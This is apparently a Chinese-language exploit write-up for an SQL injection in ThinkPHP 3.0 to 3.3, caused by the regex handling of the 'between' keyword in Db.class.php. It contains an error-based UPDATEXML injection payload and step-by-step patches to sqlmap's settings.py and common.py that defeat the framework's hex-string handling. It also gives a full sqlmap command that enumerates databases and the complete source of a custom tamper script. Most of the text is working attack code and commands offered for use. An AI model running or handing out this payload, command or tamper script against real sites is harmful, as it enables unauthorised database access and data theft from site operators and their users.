地址:http://xx.com/index.php/Admin.php?s=/User/Public/check
payload:act=verify&username[0]=='1')) AND UPDATEXML(6026,CONCAT(0x2e0x7167656371,(SELECT (CASE WHEN (6026=6026) THEN 1 ELSE 0 END)),0x716e726771),8197)-- 1between&username[1]=CN000001&password=xxxxxxxxxxx&image.x=65&image.y=15&_hash_=e23b2ac1ecea61a34252c0c93d28a8b6_b9327556a986738edb45004015776680
漏洞文件:ThinkPHP\Library\Think\Db.class.php
漏洞原因:parseWhereItem函數對between關鍵字的正則匹配錯誤,導致了SQL注入。
問題:
1.TP對0x7167656371形式的數據都解釋成是數據表的字段,因此對於sqlmap判斷注入存在的關鍵字是無法利用的,需繞過。
2.在GET請求時,由於TP的路由模式對URL中的參數取得時,未做URL解碼處理,因此提交的時候不能使用URL編碼,且不允許出現空格,會導致路由失效出現404。
3.在sqlmap會對0x7167656371的字符串形式’qgecq‘做匹配,且大小寫敏感,不然會造成無法識別注入點。
4.GET請求時在替換完payload時應該替換空白字符,但是POST時是不需要的。
意味着–skip-urlencode參數可以根據需要添加。
解決:
sqlmap的返回驗證機制中有一個頭關鍵字,可以觀察所有的插入字符都是q開頭的,且大小寫敏感。因此需要修改這兩處。
lib/core/settings.py,KB_CHARS_BOUNDARY_CHAR = 'q' => KB_CHARS_BOUNDARY_CHAR = 'L'
lib/core/common.py,return retVal => return retVal.upper()
執行命令:
sqlmap.py -u "http://xx.com/index.php/ThinkPHP0day?key[0]=&key[1]=a" -p key[0] --prefix "='-'" --suffix "%23between" --tamper thinkphp0day.py --technique=U --dbms=mysql --union-char "156427916544" --skip-urlencode --dbs
thinkphp0day.py源代碼:
#!/usr/bin/env python
import os
import random
import re
import binascii
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ThinkPHP 3.0~3.3" % (os.path.basename(__file__).split(".")[0]))
def tamper(payload, **kwargs):
"""
Notes:
* Useful to ThinkPHP
Replace hex string
>>> tamper("0x7163646271")
==> 'qcdbq'
>>> tamper(" ")
==> '+'
"""
blanks = '/**/';
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace, end = False, False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += blanks
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
end = True
elif payload[i] == " " and not doublequote and not quote:
if end:
retVal += blanks[:-1]
else:
retVal += blanks
continue
retVal += payload[i]
retValArray = retVal.split();
retTmpArray = []
p = re.compile(r'(0x\w+)')
def func(m):
tmp = m.group(1).replace('0x','')
tmp = tmp.replace('\\','\\\\')
return '\'%s\'' % binascii.a2b_hex(tmp)
for val in retValArray:
retTmpArray.append(p.sub(func,val).replace(' ',blanks))
return " ".join(retTmpArray)